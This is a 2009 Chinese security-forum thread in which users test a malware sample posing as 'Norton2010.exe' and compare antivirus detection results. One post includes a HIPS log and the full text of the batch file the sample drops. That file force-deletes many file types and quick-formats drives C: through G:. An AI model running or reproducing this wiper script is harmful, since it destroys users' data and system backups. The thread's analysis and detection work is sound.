1X 只有F-Prot报了

寻找周宇轩

很强大

[ 本帖最后由 寻找周宇轩 于 2009-8-7 08:33 编辑 ]

O(∩_∩)O哈哈~

avira右键扫描miss!

fatezero

to kl，avira

O(∩_∩)O哈哈~

啊，标题改得好快啊！

幸福的猪猪

释放一个bat文件  >全盘格式化批处理？



[ 本帖最后由 幸福的猪猪 于 2009-8-7 08:50 编辑 ]

寻找周宇轩

呵呵，我在线扫描了一下

寻找周宇轩

嗯，看来磕毛豆的hips很强大

xieyun

过熊猫

mgzx2001

avira miss too

hddu

2009-08-07 09:46:56    运行应用程序      操作:阻止
进程路径:E:\Norton2010\Norton2010.exe
文件路径:C:\WINDOWS\system32\conime.exe
触发规则:所有程序规则->系统程序设置->*\conime.exe

2009-08-07 09:47:01    创建文件      操作:允许
进程路径:E:\Norton2010\Norton2010.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\~1.bat
触发规则:所有程序规则->文件创建设置_普通模式1->%SystemDrive%\*.bat

2009-08-07 09:47:01    修改文件      操作:阻止并结束进程
进程路径:E:\Norton2010\Norton2010.exe
文件路径:(隐藏文件)C:\Documents and Settings\Administrator\Local Settings\Temp\~1.bat
触发规则:所有程序规则->文件创建设置_普通模式1->%SystemDrive%\*.bat

生成的bat文件内容：
@shift
@echo off
del /f /s /q *.tmp
del /f /s /q *._mp
del /f /s /q *.log
del /f /s /q *.ini
del /f /s /q *.inf
del /f /s /q *.dll
del /f /s /q *.gid
del /f /s /q *.chk
del /f /s /q *.old
del /f /s /q *.GHO
del /f /s /q *.exe
del /f /s /q *.php
del /f /s /q *.asp
del /f /s /q *.asa
del /f /s /q *.swf
del /f /s /q *.txt
del /f /s /q *.rar
del /f /s /q *.dat
format c: /q /y
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
del /f /s /q *.bat

费尔不报，不知为啥？